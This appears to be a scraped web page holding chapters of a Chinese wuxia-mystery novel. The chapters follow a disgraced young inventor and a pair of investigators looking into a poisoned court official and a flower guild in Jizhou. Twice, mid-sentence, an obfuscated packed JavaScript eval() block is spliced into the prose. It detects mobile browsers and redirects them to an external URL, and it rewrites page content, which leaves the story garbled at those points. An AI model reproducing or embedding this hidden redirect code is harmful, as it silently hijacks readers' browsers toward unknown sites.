《知是江湖客》 1. 楔子 元真十二年,祺收复失地,民生祥和,国泰民安。祺国边境有一小城,奉白江鲤为护城圣灵而得名,是为白子城,百姓勤劳,人民安乐,与新地彻州隔江而望。 “听说了吗,令小声要入京了?”虎姨用她那根根肥硕的手指遮掩着嘴唇。 “令小声?鲁班阁的那个?”芦婶子睁大双眼,消瘦的额头也因惊异而堆起了抬头纹。 鲁班阁原乃班正公为城中修缮而建立的小门店,因其姓班,自称与公输班有名姓之缘,便取店名为鲁班阁。 后人不断精进其艺,传习机关秘术,名扬江湖。 令小声自小便在鲁班阁长大,从小古灵精怪,争强好胜,喜用机关捉弄他人,甚难管教。虽并非班姓,但因精通修缮之术,又武艺超群,膝下无子的阁长班项对他疼爱有加,便将机关秘术都教授于令小声,有意让其继承鲁班阁。 “就是他,据说是前几天他骑着那木鸟过江修缮惊动了上边。”她那肥指蜷成包子般大小向天示意,“就要面见这位小鲁班。” 去岁年末,为了庆祝大战告捷,令小声着白衣,骑着改良后的木鸟掠过白江,环游于彻州之空,城中众人皆为称奇。彻州虽有官兵相守,然战争之乱,百姓居无定所,苦不堪言。令小声不忍观民之苦困,携众阁友横跨白江,修葺残垣断壁,重建庙宇楼房。 彻州石材匮乏,运石过江过于耗时,一时之间百姓无处安置。令小声便用土沙混竹木,搭起小土楼给妇孺小儿暂用,彻州人民感激涕零,众人赞其工艺。 自此,这束发小儿便有了“白子城小鲁班”之称。 宫中这一传召,倒让这自傲少年心气儿更高了。 那天,少年弃京中赐予的华服,着翩翩白衣,半束发,自由散漫地踏上了入宫的马车。 皇帝隔纱屏见其白衣,问其缘由,令小声道:“小儿自知能力资质尚浅,只抚华服便觉心中有愧。若无国之强盛,陛下之贤明,官臣之竭力,鄙人如何能施展小技令百姓相看。无论功名,只因鄙人站于强国之肩,倍显夺目,如此而已。” 皇帝闻其善言,虽为小儿巧言令色,但知其心意,不胜欢喜。恰逢佳节,特许留于宫中侍奉太子。 太子孙近燕与其年纪相仿,相谈甚欢,令小声献上新做的可动木偶,逗得太子捧腹大笑,侍奉在侧的太监们也啧啧称奇。 后来,令小声给太子造秋千做摆件,带着太子翻围墙走楼瓦,陪太子谈天说地,实为夸张之举。 有言官鄙其小计,上谏天子,皇帝笑曰:“尔等只知小声用巧计,却不识其之智勇。” 元宵佳节,宫晏之中,令小声下能刷枪弄剑杂耍魔术,上能巧对诗词歌赋。众人惊异,殊不知这民间小儿能文能武,乃为惊世奇才。 皇帝赏其武功、赞其秘术,令小声乘机献长明灯盏,取名“昌明灯”。龙颜大悦,下旨拟为太子伴读。 是夜,太子屏退左右,二人夜幕下登楼瓦,看星月夜,观宫中景,长谈许久。 而黑夜月明之下,骤然听闻天子于寝殿遇刺,太子与令小声飞踏楼瓦,欲鼎立相护。 声用偶,燕引弓。 然刺者武力雄浑,二人之力不足以御之。几番交手,皆负伤。 令小声欲冒险略施小计,不料操控的木偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068128|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟意外失控,猛然间反向刺入太子的胸膛。 刹那间,惊心动魄、血肉飞溅,局势急转直下。 皇帝目睹太子胸膛鲜血如泉涌般喷涌而出,悲愤交加,仰天发出震耳欲聋的怒吼,随即眼前一黑,昏厥倒地。 守卫赶到与刺客一番激烈的周旋后,陷入僵持。 就在这千钧一发之际,令小声借着夜色的掩护瞅准时机,抱起受伤昏迷的孙近燕,飞快钻入隐秘暗道,从此仿佛人间蒸发,再无任何音讯。 刺客眼见良机已失,也不再恋战,趁机脱身而去。 皇帝病愈后,几番命人寻找太子,通通无果。 元真十四年,三月前市寻得太子玉佩,七月后山寻得一衣冠冢。群臣皆称太子被令小声算计,坑害钱财。 皇帝闻讯悲愤交加,竟气得大病不起,卧床多日,药石无灵,令朝野上下忧心忡忡。 太子孙近燕死在了那个春天,其冢移至皇陵,万人哭泣千人守丧。 城中布告令小声弑君之罪,万金悬赏。 后来,朝廷果真将令小声擒获归案,将他囚禁在阴暗潮湿的地牢之中,对外秘而不宣,最终在一个不为人知的夜晚,将其秘密处死,以绝后患。 人人说世上再无天纵奇才孙近燕,无人敢提白子城小鲁班。 鲁班阁阁主听闻噩耗,携阁中众人前往京城后山,未能找得令小声的尸骨,山野之间只寻有一只木偶。 阁主用白布裹住木偶带回白子城,葬入祖坟,怕朝廷怪罪,不敢写令小声之名。 从此班家坟陵多了一个无名冢,除鲁班阁外,无人识他是令小声。 2. 初得线索 这年,白子城中阮氏药铺内来了具尸体。 尸体的面部已经扭曲变形,身上的衣物湿皱地附着在僵硬的躯体上,空气中蔓延着湿气和腐臭,一看就是刚从土里挖出来的。 “这是谁?”令知知捂着鼻子问。 素碟从药柜里翻出一块金色木牌,给令知知递过去道:“通直郎李忠冼。” 不知这通直郎官属几品,竟然需要金色木牌来做信物。 她和素碗一起把用布袋装着尸体拖上在后门候着的车,四月底的天气却热得出奇,尸体也比冬天时候臭得厉害,需得赶紧把他运过去,不然这批木材都要腌入味了。 令知知费力地爬上马背,方才坐稳,素碗就大力拍了一下马屁股,顺口道:“老地方,快去快回。” 所谓的“老地方”是阮氏药铺在白子城东面的一处库房,亦可以称之为据点,与令知知的孔明楼隔了两条街。有些医士需要以尸体入药,特别是身中奇毒的尸体做出的药,药效会更好,于是就有了尸体交易一说。 早些年阮氏药铺的主人阮徽于令知知有恩,为了报答阮徽,如今白子城运尸一事,就包在令知知身上。 毕竟孔明楼是干修缮的,马车运输材料来来往往,最能掩人耳目,也最再正常不过了。 才到,就感觉到如猎鹰般的眼神扫视,令知知熟练地将马车倒着停在后门入口,那几人快速托着布袋进去,丝毫没有答谢令知知的意思。 “哎,我说……”令知知跳下马,连忙走进店里,“你们的令牌呢?” 接头的人,应当首先出示相同颜色的令牌,在柜台签字画押,才能领走尸体,而这几人毫无章法,就连礼貌话也不讲,扭扭屁股就进了店。 扛着尸体的几人脚步一顿,带头的转过身来,头戴面具,声音还很年轻,他噗嗤笑了一下道:“忘了。” 令知知快步跑到几人跟前挡住去路,叉着腰扬了扬下巴道:“你拿出来,我才能把他给你。” 他假意摸了摸腰间,见糊弄不了令知知,道:“小丫头,我不是跟你说了嘛,我忘带了。” 因为是据点的关系,平常这间库房会有两三个下人看守的,但自令知知今日踏进店里,就未曾听到除了自己和面前三人的心跳声。 见楼梯间有血迹渗出,前门紧锁,令知知才反应过来这几人是故意引她进来的,想要杀人灭口。 看来据点暴露了。 但是见眼前几人的穿着打扮,也实在不像是官府的人。这具尸体,来头真不小。 令知知将右手的半指手套的机关按下,瞬间弹出几片铁花,惊得几人连连后退。 她厉声道:“究竟是忘带了,还是根本没有?” 带头的男子摸了摸被铁花划破的衣袖,冷笑了一声,另外两个男子也将尸体放下,抽出刀剑准备和令知知大战一场。 几人越走越近,令知知的脑中混乱,若是论如今的功力,她绝对打不过他们。到底该怎么办? 她扫了一眼已经渗出腌臜物的布袋,再将视线放在唯一的出口处,一改愁容道:“你们若是没有,那就罢了。” 瞥了一眼地上的几片金光,令知知谄媚地说:“刚刚我已经把唯一的武器上缴了,我一个弱女子,怎敢拦几位哥哥。不过是想留下些打斗的痕迹,表明我已经尽力阻拦,以免上面的怪罪而已。” 男子越走越近,把令知知逼到了墙角,顺势掐着令知知的双腮道:“妹妹果真这么好心?” 令知知被捏得嘟着嘴,说话有些含混:“自然。求您看在我如此坦诚的份儿上,放妹妹一马。” 她艰难地将头上的钗子拿下,上面的铃铛在冷寂的环境里响得清脆,“这个,孝敬哥哥的。” 见是金钗,男子松了手,接过就要回头走。若不是后面那两个随侍死死盯着令知知,她真想抢过钗子朝捅他狠狠捅去。 “哥哥莫急,”令知知叫住他,走上前去指了指金钗上的红石,“这颗红石,才是这钗子的点睛之笔。” 那男子瞥了一眼随侍,然后轻轻用指腹擦了一下红石的表面,拂去灰尘,那鲜红如葡萄酒般醉人心魄,他满意地笑了笑,往前走了几步,瞬觉头晕目眩,身体抽搐,倒地不起。 令知知趁随侍不备,早都撤到了布袋旁边,准备搬起就跑。 后面两人,一人惊慌失措地跑过去扶起地上那人,唤道:“阿开,阿开。” 另一人,却站在原地,镇定自若。 只听耳边传来锋利的刀剑声,令知知手上拖的裹尸袋掉了,更准确地说,是被砍断了。若不是令知知耳朵尖,及时松了手,怕是已经失去了她的右臂。 袋子里的臭气瞬间喷涌而出,令知知恶心得干呕了几声,眼里噙着泪水。 见那人好端端地站着,气势逼人,令知知道:“你才是带头的?你们究竟是何人?” 男人不语,出手迅速,只见下一刀就要朝令知知的脑袋砍去。 令知知闭上眼,想着自己早就已经死过一次了,又有何惧。 事情发生得突然,只觉倚靠着的门突然被破开,一双手狠狠勒住肚子将她挖了出去。 屋子外的空气着实清爽多了。 她顾不上腹部的疼痛,被迫跟着跑,边大口地呼吸着。 “阮姐姐,你可算回来了。” “你也是蠢,同他争个死人作甚?”回头看那人没追上来,阮徽松了口气,只是左手还用力地扣着令知知的腰。 令知知不甘道:“那可是宫中的人物,我以为他会和……” “会和长公主有关?”阮徽把她的话接下去。 令知知的眸子蒙上了一层薄雾,这是孙客的心结,她也想帮他一把。 “自上次宫中寻医一事之后,就未曾得到过长公主的消息,怕是已经寻得神医解毒,大病痊愈了。” 跟着阮徽一起,令知知又走回了药铺正店,阮徽和素碟素碗交代了据点的事情,她们恭恭敬敬地行礼后,就赶着去处理了。 阮徽示意令知知上楼,道:“他已经在上面等着了,走吧。” 入房内,香气四溢,拉开纹理细密、质地柔和的帷帐,一清瘦男子正撑着脑袋闭眼休息。 听见二人入座的动静方才睁开眼。 阮徽笑他:“你心可真大,知知刚才差点连命都没命了。” 孙客听了这一消息,清醒了许多,拉起令知知的手,又拍了拍她的腿,看她四肢健全,玩笑道:“还好,都在。” 令知知虽然功夫只剩三成,但好在会造机关,全身上下都藏着各种小玩意儿,再加上是阮徽陪令知知一起回来的,阮徽功夫好,有她在,肯定无恙。 令知知白眼一翻,语气责怪道:“人家都说,真心相爱之人,是会有心灵感应的,你刚刚还睡得那样沉。” “刚刚梦里,确实梦到你了。”他头一歪,谎话信手拈来。 “去你的。” 阮徽咳嗽了一声,眯着眼,看了看令知知,再从袖口里掏出一张悬赏令,放在令知知的脸旁比对着。 “这也不像你啊?”她故意皱着眉头说,像是遗失了一笔巨款般失落,“路过时看了两眼,此人消失的时间刚好能和你二人被陈鱼从山上拖回来的日子对上,又姓令,我还以为捡到宝了。” 令知知将画拿过,细细看,确认无误后勾起唇,悄无声息地松了一口气说:“难不成你还真觉得我是画中人?” 画上的人,是个少年儿郎。旁边写着“令小声”三个大字。 这张脸,和无数寻常的少年一般,充满了青涩与稚嫩。肤色白皙如玉,眉毛浓密而修长,鼻头圆润小巧。这张脸,看似和谁都有几分相像,但又总觉得哪里都不像。 而令知知的脸,肤色微黄,眉毛如两弯新月挂在额头,稍向上挑的杏仁眼睛清澈明亮,唇瓣虽薄,却红润如樱桃。 若硬要说两张脸有什么相似之处的话,或许是眉宇间的锐气有些相像吧。 “这人你们多留意一下,赏金可是五百万两。”她带着叹息的语气道,“现在岚山派已经集结各大门派在各州城搜寻此人,不知道什么时候能抓到。” “可此人不是早年已被秘密处死了吗,怎的又开始全州悬赏?” “听暗探说文帝死前拉着当今圣上说了四个字,你们可知是哪四个?” “哪四个?” 她嘴角微微上扬,轻轻吐出几个字:“杀错人了。”说完用晦暗不明的眼神地打量着眼前的两个人。 令知知脸上立马掠过一丝不易察觉的尴尬,刻意回避与阮徽目光接触,自顾自地玩着桌布上挂着的毛球。 旁边的孙客却接过那张画像,意味深长地说:“这朝冕城的人,怎么会跑到白子城来。” 令知知心虚地把悬赏令塞进怀里,皱眉佯装紧张地换了个话题道:“阮姐姐,今天抢李忠冼的究竟是何人?” “通直郎李忠冼?”孙客听到此人的名字,倒要比得知令知知今日险些遇害还要紧张。 阮徽警觉,问道:“认识?” 孙客尴尬一笑,遮掩道:“去运河接货时,听货商说李大人在漕运改革方面颇有成就,推行分段运输的漕运法,漕运量提高了不少。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068129|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你还知道这些事?”阮徽盯着他。 令知知笑着拿孙客打趣道:“阮姐姐,你又不是不知道,他就爱打听宫中的事,若不是我供不起他念书,怕就要进宫考取功名了。” 阮徽的眼神尖锐得像一把刀,能随时将令知知他二人的心剖出来把玩一样,“你们到底和宫里的人有何牵扯?” “不都和姐姐说过了,我们这些流民,都是靠着长公主在城外施舍的粥饭才勉强活下来的。长公主殿下于我们二人而言,同您一样,是恩人,我们自然不愿她忍受病痛之苦。” 阮徽生性多疑,一件事情要确定下来方才心安,令知知二人又没有任何能证明自己身世的物件,这些年来,每次据点发生些什么事情,首先怀疑的就是他们二人。 “她一个公主,用得着你们二人忧心?”依照阮徽今日问话的口吻,怕接下来就要将她二人拖下去严刑拷打了。 眼见形势不对,孙客沉着接话,道:“实不相瞒……” “孙客……”令知知不安地抓紧了衣裙。 他安慰似地拍了拍她的手,道:“阮姑娘于我们有救命之恩,今日我们就此开诚布公,彼此之间也更安心些。” 孙客将头一抬,眼神中是藏不住的狼子野心,“我心悦于珞宁长公主。” 他不顾二人张大的嘴巴,给她们讲了个故事。这也是令知知头一次听孙客扯谎。 孙客本是新地彻州一名门贵子,但因战乱,家破人亡,可在城外讨粥时匆匆瞥见公主身姿的那一眼,他就决心要当驸马。 大褀的寒门子弟可以通过三年一次的朝冕城学考求取功名,他正有意参加明年的学考,但是在这之前,若能寻得毒害公主的罪人,可算得上大功一件。 阮徽喂了块糕点到嘴里,像是看戏似的问令知知:“你也知道此事?” “他说……若他成了驸马爷,也不会亏待了我。”令知知只能硬着头皮讲下去。 阮徽没想到令知知是个没骨气的,居然愿意当个外室,先前真是小觑了她。 “巧了,今天这个李忠冼,就与你们挂念的长公主有关。”阮徽抿了口茶,似是在消化先前的故事,缓缓才道,“李忠冼的妻子,叫唐姝,是长公主的闺中密友,李忠冼的大舅子,是太医院的唐文。这二人,与过去一桩案子有关。” “怎么说?”孙客皱眉迫切地问,像是要确定什么。 “唐姝和她兄长唐文原是千娇堂的学徒。噢!这花香烛便是千娇堂所制”,阮徽指了指桌上的花香烛,“后来不知怎的,前几年,老堂主暴毙,他二人便因为伤心过度退出了千娇堂。” 令知知玩弄着穗子的手突然停了停,问:“暴毙?” “是,听说老堂主有天突然捂着心口就过去了,后来唐文入了医道应该也是为了调查他师傅去世的缘由。” 令知知摸了摸下巴,“如此听来,这唐文倒是孝敬师长。” “奇怪的是,他竟同意自己的妹妹嫁与李忠冼。”阮徽给二人添茶,露出鄙夷的神情,“他可是朝中正五品的红人医官儿,唐姝又是公主的好友,而那时李忠冼只是个小小儒林郎。” “或许是看重李忠冼的人品?”孙客毕竟认识他,晓得他为人处事处处谨慎,如若不靠唐文的吹捧也能走到如今的位置。 “可有传言说,就是她兄妹二人谋害了老堂主。”阮徽粉嫩的嘴唇抿了一小口茶,样子过于妖娆,令知知如痴汉似的盯着看,被她用指尖点了一下额头,接着道,“老爷子死在自己一手建立起来的千娇堂,得意门生又都相继离开,不知这千娇堂还能坚持多久。” “那会不会就是他二人毒死了老堂主,也毒死了李忠冼?”怕是长公主的病也与此相关。后一句,令知知未说出口。 阮徽点点头,像是肯定令知知的说法似的,“我这边得到的消息,李忠冼确实是中毒而亡。至于老堂主,我还没收到消息……” 现在进朝冕城都困难,更别说调查医官唐文了,只能先把希望寄托在千娇堂上,孙客追问:“不知千娇堂现在的堂主是谁?” “这个我也不清楚。”阮徽推了一把在旁边发呆的令知知,“但店在季州北郊,你们拿上我的玉牌过去方便些。” 她递上一枚镌刻着莲花的白玉牌,特意解释道,“我常在那处购买花香烛。” 走前二人将茶水饮尽,彼此对视一眼,眼中满是理解与默契,然后利落起身,速速离开了。 他们的背影在夕阳的余晖中逐渐远去,阮徽往窗外看去,天边正巧飞过两只野雁,仿佛一切都未曾改变,却又悄然间有了些许不同。 3. 巧入千娇堂 元真十四年,朝冕城县衙门口的告示墙上某天多了一张寻医榜。人流如织,络绎不绝,行人们经过都要在那墙旁驻足片刻,上面布告的是长公主病重的消息。 人们交头接耳,纷纷议论着这流传已久的传闻居然是真的。 “看来长公主为了拒绝嫁给长安王,对自己下了狠手。”一个年轻人对着旁边的老叟说道。 “是啊,告示上说要广寻三州四城的名医入宫诊治,”老叟的声音极具沧桑感,对长公主的“苦肉计”颇有微词道,“真是病得不轻。” “你说谁病得不轻?”尚是药铺小厮的孙客手里握着斧头,只是他身着朴素青衫,头戴方巾,手中金属的寒光与他身上散发的书卷气有些格格不入。 那二人悻悻地走了。 孙令二人十分挂心长公主,却说不清个缘由,好在苦苦相求之下,也得益于阮徽“妙手奇医”的称号,阮徽顺利地进了公主府替公主诊治。 听阮徽说,那日,公主眼眸发红,重复怒吼着“龟郎婿”。 传闻中要做驸马的人有两个。 一个是长安王裴寰,一个是太医唐文。 据说公主心悦唐文,却被赐婚给了浪荡子长安王,心中气恼便苛待玉体,文帝无动于衷,于是她更是寻来毒药一饮而尽。 但孙客说,长公主绝不是会为男子不顾颜面之人,定是有人故意陷害,还想玷污皇室名声。 可那毒药究竟是从何而来呢? 长安王在泸州玩得潇洒,许久不会进宫一次,而唐文,日日与公主作伴,又为医士,所以二人对他的怀疑要更深些。 阮徽消息灵通,自将营造店铺孔明楼搬到白子城后,孙令二人拜托阮徽帮忙打听些宫中的消息,特别是关于长公主的事,但一直以来,并未打探到什么可疑的信息…… 而今日“来访”的这个李忠冼,似乎是一个突破口。 回到孔明楼,小厮陈鱼正整理着客人留下的单子,上面标记了客人的姓名、地址以及需要修补的地方。 因为孙客长了一副好皮囊,引得不少姑娘婆姨前来相看,新开业时多了不少单子,但都是些无关紧要的修修补补,就喊楼中伙计去了。后续几个大单也都是陈鱼这冷冰冰的家伙去的,一些别有心思的婆姨也就不常来了。 搬到白子城有段时日了,这生意却远不如在朝冕城的时候。 令知知的失望虽然没有表现出来,但这一大伙人从朝冕城连赶了七日才到白子城落脚,她心中是有些自责情绪的。这几日,她也在研究些新东西,妄图博得白子城百姓的青睐。 “陈鱼,我们回来了!”一路上未搭理孙客,令知知回到楼里嗓门却又大得要命。 陈鱼抬眼,又准备低头继续整理,似乎是瞥到了什么,突然目光犀利地盯着令知知腰间挂的玉牌。 不知道是不是和阮徽待久了的原因,她的眼神,也有一种令人胆寒的穿透力。 令知知虽有察觉,但却未挂在心上,只走近道:“我们过些天要去季州一趟,听说那里有特别特别多的花,香飘万里!”她故意拉长尾音,然后勾勾手说,“你想不想跟我一块去呀?” 哦,是要去季州吗?陈鱼心里想,但未说出口。 “去不去嘛?”令知知拉过她的手和她撒娇,自孙客刚刚说要求娶公主一事之后,不知怎的,她不愿再与他单独相处。 “不去。”陈鱼面色不改道,然后从后厨拿过两碗汤药准备塞进二人嘴里。 令知知看见那土陶碗像是见着鬼一样,一个扫堂腿过去准备暗算陈鱼。 谁知陈鱼单脚起跳的同时将土碗顶在头上腾出一只右手,然后快如影地一把擎住了令知知的后脖颈,左手顺势将药灌入她口中。令知知还未来得及挣扎就如此呈仰头式地喝完了一整碗药。 陈鱼冷静得像是什么也没发生,只木木地将头顶那碗递给孙客。“我去后院了,有事再叫我。”陈鱼丢下一句话就头也不扭地走了。 刚刚一幕实在粗鲁,孙客恭恭敬敬地接过药一饮而尽。 “咳咳咳、咳咳。”只见药碗里多了几滴鲜红。 他又咳血了。令知知担忧地看着他。 “怎么样?”她拍拍他的背,希望能好受些,“你还是在这好好修养几日,我一个人去千娇堂吧。” 她想单独行动,也是考虑到孙客如今身体越来越差,这样折腾,还不知道能不能撑得到见公主的那一天。 令知知想用手帮他擦去嘴角的血痕,但太过亲密了,手悬在半空,指了一下。 虽对外宣称二人是少年夫妻,但实则只是一种隐藏身份的办法而已,对内二人以朋友身份相处,并未有过任何逾越之处。 他用衣袖擦了擦嘴角,笑着道:“没事,我一定要去。” 两天后,令知知和孙客赶到了季州城外。 这一路舟车劳顿,令知知担心孙客的身体扛不住,几次扯谎说要休息,都被孙客识破了,还是按计划到达了目的地。 季州花乡果然名不副实,才从马道出来,就见到了大片的嫣红。 孙客终于可以出来逛逛,心情不错,下马扯下几只野蜀葵,递给令知知。 令知知有时候还真拿不准孙客,明明二人早就已经彼此约定好,他们的关系只需做给外人看看,可最近孙客似是发病得严重,或是搞不清楚状况,偶尔会献上几次殷勤,和以前越来越不一样了。 虽然知道求娶公主一事是他情急之下找的借口,但他待她确实同从前不同了,只是身份尊卑有别,令知知也不敢多想。 “后日就是端午节了啊。”她假装自己拿得理所当然,这蜀葵在每年端午前后开花,也被称为端午花。 孙客未察觉到令知知脸上的红晕,只叹道:“是啊,我们怕是在端午前赶不回白子城了。” 令知知自出城后就在担心店里的生意,怕回去看到孔明楼早已人去楼空;又担心自己新制的防水涂料卖得太好,被哄抢一空,库存不足,害得陈鱼和伙计们被顾客责骂。 见到这蜀葵,归乡的心情愈发急切。 二人到城内时早就饥肠辘辘,季州城内的花倒不如野外花多,大街小巷卖的也是些寻常的糕点,并没有地方特色,二人逛得索然无味。 令知知摸着后脑勺抱怨着:“什么鲜花糯米糍、什么玫瑰清酒,这街上都没有啊!不仅城中不见花,连吃食点心都和白子城并无两样。” 望着长长一条街,都是些普通商品,和书上记载的“街巷如百花宴席”并不相符。 孙客疑惑地问路边卖泥人的商贩:“大叔,我们想打听一下哪里有卖鲜花糯米糍的地方啊?” “鲜花糯米糍?”大叔正捏着泥人的头,听见孙客问话手里一颤,泥人的头咕噜噜滚了下来,孙客帮忙捡起,递过去。 大叔说:“这个我们这不让卖这个,你得去北边的千娇堂铺子,那里什么都有。” “所有特色吃食,这条主街都没有售卖处吗?不是说‘街巷如百花宴席,宴席如百花赶集’吗?”令知知有些遗憾地撅着嘴。 “这都是过去了,现在季州最大的鲜花苗圃都归千娇堂的段堂主管,要是私自售卖和千娇堂一样的商品,可是要被没收罚钱的!”大叔夸张地睁着大眼睛,声音却故意压低。 此刻顾不上肚子,知客二人相视一眼,匆匆向北处赶去。 北郊果然与城中不一样,写着千娇堂三个大字的大门后是藏不住的百花浮翠六丹,繁盛如烟火绽放。正值夏季,却有如此盛景,不禁让人驻足观赏。 几个打着千娇堂招牌的小商铺分别在门口卖着季州有名的特产,什么鲜花糯米糍、桃花酥、桂花糕那是应有尽有,连包装也别具一格地印着鲜花样式的图案,店铺四五间,处处尽显地方特色。 远远地看几个外乡人才迈上千娇堂的台阶就被守卫赶了出去,令知知耸耸肩便抛给孙客一个眼神,按照老规矩打算今晚趁夜色时分再偷潜入内调查。 才准备转头回客栈,就被一男声叫住,“二位从哪处来?我是这的管事,姓李。”那男子只远远地瞥了一眼令知知挂的玉牌,便满脸笑颜地迎了上来。 “李管事好,我们从白子城来。”孙客戒备地迈上前了一步挡在令知知面前,客气道,“今日不知是否能进这千娇堂赏花?” “原是不能的,但有了这玉牌便能了。”男子从孙客的肩膀处探出头指了指令知知腰间的那枚玉牌。 这玉牌有这么大的用处?二人虽疑惑,但人多眼杂,只是跟着管事稀里糊涂地进了千娇堂。 “这玉牌怕是大有来头。”令知知轻声和孙客说,“那天在药铺,阮姐姐也有意无意地引导我们来这儿,总觉着她像是故意的。” “先看看再说吧,兽爪拳刃带了吗?”孙客担心这是个陷阱,要是有人想来个瓮中捉鳖,二人也好做个准备。 “带了,给。”令知知将兽爪拳刃塞进孙客手里。这暗器轻便还不易引人觉察,带上只要不按动机关便是个普通的半指手套。 内院的守卫更加森严,看见管事领着二人来了便准备上前搜身,孙客咽了口口水,担心地盯着令知知袖里揣的雾雷。令知知似是感受到了他的目光,手往里一收,雾雷顺着真气运转从袖口转到了怀里,然后微微向他点头示意。 许久未有这样偷偷摸摸的感觉了,令知知背后起了一层薄汗。 “啧。”李管事瞥了守卫一眼,毫无之前温柔神情,道,“也不睁大你们的狗眼看看,这可是你们得罪得起的主儿?” 带头的守卫最先注意到玉牌,连连道歉,摆出“请”的手势。 “我看千娇堂的守卫似是比官府的还要气派些。”令知知看对方如此畏惧这玉牌,瞬间有了底气,阴阳怪气道。 “都是手下的不识抬举,还请您多担待。进了内院您可以随意逛逛,我先去点货。”李管事恭恭敬敬地作揖后便离开了。 院内的花草比在外面看到的还要繁盛许多,庭院被长廊分成大大小小、不同品种的花圃,错落有致。有世间少见的鬼兰、芳香四溢的金茉莉、红得如滴血般的绯扇月季。 最让人想不到的是在院中心居然还有一小片池塘,此时莲花开得正艳,孙客一眼就在看见了之前只在公主府里养着的天意缀莲,很难想象这千娇堂该有多堆金积玉才能有此般奇珍异宝。 “这是天意缀莲,可是我的命根子,二位今日来正巧赶上花期,真与千娇堂有不解之缘!” 一嘹亮男声从二人背后传来,接着走来一六尺男子,身穿华贵罗袍,身上戴着的、耳朵上挂着的、就连手指上戴着的都是一件抵千城的宝物。 他每行一步,身上金银玉石便碰撞在一起发出清脆的声响。 “想必阁下便是段堂主了吧!”孙客谦逊礼貌地行了礼,令知知只干站着不屑地瞥了一眼眼前这只花孔雀。 “不必拘泥”,段邤只是对着下人手一挥,腰上叮叮当当便响个不停,“二位随我前去湖心亭一观否?此时这心意缀莲开得正欢呢!” 孙客和令知知便跟着这花孔雀坐在湖心亭里饮茶,而他似乎并未在意二人鄙夷的眼神,自顾自地倒着茶。 这湖心亭正中央的玉桌中间有一只玉貔 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他拿起一块桂花糕随意扔进嘴里,毫不介意地说:“九年前,我们老堂主出了意外过去了,唐先生便接管了这千娇堂,就在老堂主死了后的三个月,她便勒令全季州的百姓不能再售卖百花制作的吃的用的,就连城中的花苗也尽数搬到了堂中来私养。” 令知知也学起他吊儿郎当的样子,抛起一块点心用嘴接着玩,嚼了嚼说:“季州城中百姓如此听话?” “那可不是,连季州太守都要敬我们老堂主三分。当初是老堂主公开秘方让百姓有了营生,不然这穷乡僻壤的连山路都没有的地方哪能负担得起朝廷的重税。唐先生又是老堂主的得意门生,接管了千娇堂,当然也就人人敬之了。” “那如今百姓靠什么纳税?”孙客看着盛宴也有些饿,顾不上风度,咬了一块鲜花糯米糍,入口的香气让他一愣。 “之前唐先生的大哥发现我们这的土大多是腐叶土,水分多,适合种些芹菜、芦笋等蔬菜,在征收花苗的时候给家家户户都送了不少蔬菜种子,后来田里都不种花了,改种菜。”他谈起那人时眼神动作里总是有些骄傲的。 唐文竟然还有哥哥。孙客搜寻着脑中的记忆,之前从未听过。 “没人知道他为何征收花苗?”孙客盯着眼前被咬了一口的鲜花糯米糍像是思考着什么。 “没有,后来连唐先生所制的香料点心的秘方也都藏起来了。我都未见过。”他摊了摊手,老实回答。 令知知不解:“难道大家做了这么多年都背不下一个秘方?”秘方已经传授出去,怎么可能收得回来。 “堂中十二女和那些城里老一辈的自然是记得的。对了,当时签了契,约定只能给六十以上的老人教授秘方。”段邤笑着,脑袋上的钗子也摇动着。 “为何?”孙客不懂。 “二位不知,这季州地处偏远,营生又少,不少年轻人都外出寻差事去了,家里留下的不是少儿就是老人。老堂主年纪也长了,身边又无儿女陪伴,可能是将心比心吧,便只交给了老年人这些赚钱法子。” 他给二人满上色泽粉红的酒水,抬了抬手让二人品尝。 浅闻一股香甜,入口并没有刺喉的酒味,而是细腻柔和的花香和清雅的甜酒香醇交织,咽下后满口是玫瑰花香,令人回味无穷。 “是玫瑰清酒!”令知知惊喜。 “小娘子聪明伶俐,正是玫瑰清酒。”段邤起身行礼,道“我还有要事在身,先行告辞。” 李管事又端上几盘鲜花佳肴,说道:“这便是‘百花宴席’,二位请慢用”。 然后又有些不好意思地开口,“栩公子平日都是每月初十取货,不知这次竟然提前了,有些货物还未备齐。最迟后日、后日早上必能补齐,二位还请在千娇堂住下。当然,这也是我们堂主的意思。” 许公子?知道阮姐姐为了打探消息假冒的身份多,却不知她连男女都不论了。令知知心想。 “多谢堂主,多谢李管事。”二人道。 二人被下人带到客房,一路上更是见到不少花界珍宝,院子里竟也有一大片红色舍子花。 “左右有两间客房,二位还请分房睡。”侍女分成两路引客。 这敢情好啊,令知知还以为此次又要睡在地上了,得知自己能睡大床,心情大好。 孙客咳嗽一声,故意在侍女面前强调道:“我们二人是夫妇。” 带头的侍女道:“堂中有规矩,男女宾客,需分房。” “说几句话总可以吧?”孙客问。 她点点头,退下了。 “阮姐姐身份这么彪悍,竟能让我们在这大名鼎鼎的千娇堂住下。”令知知猴急似地奔到床上抱着枕头。“哇,连枕头都是香的。” “好怪。”孙客有心事似地坐在椅子上。 “我也觉得阮姐姐怪怪的。”令知知晃着腿。 “我说‘百花宴席’。”他摸着小指。 “怎么?不好吃?还是不合你胃口?”令知知实在没心没肺。 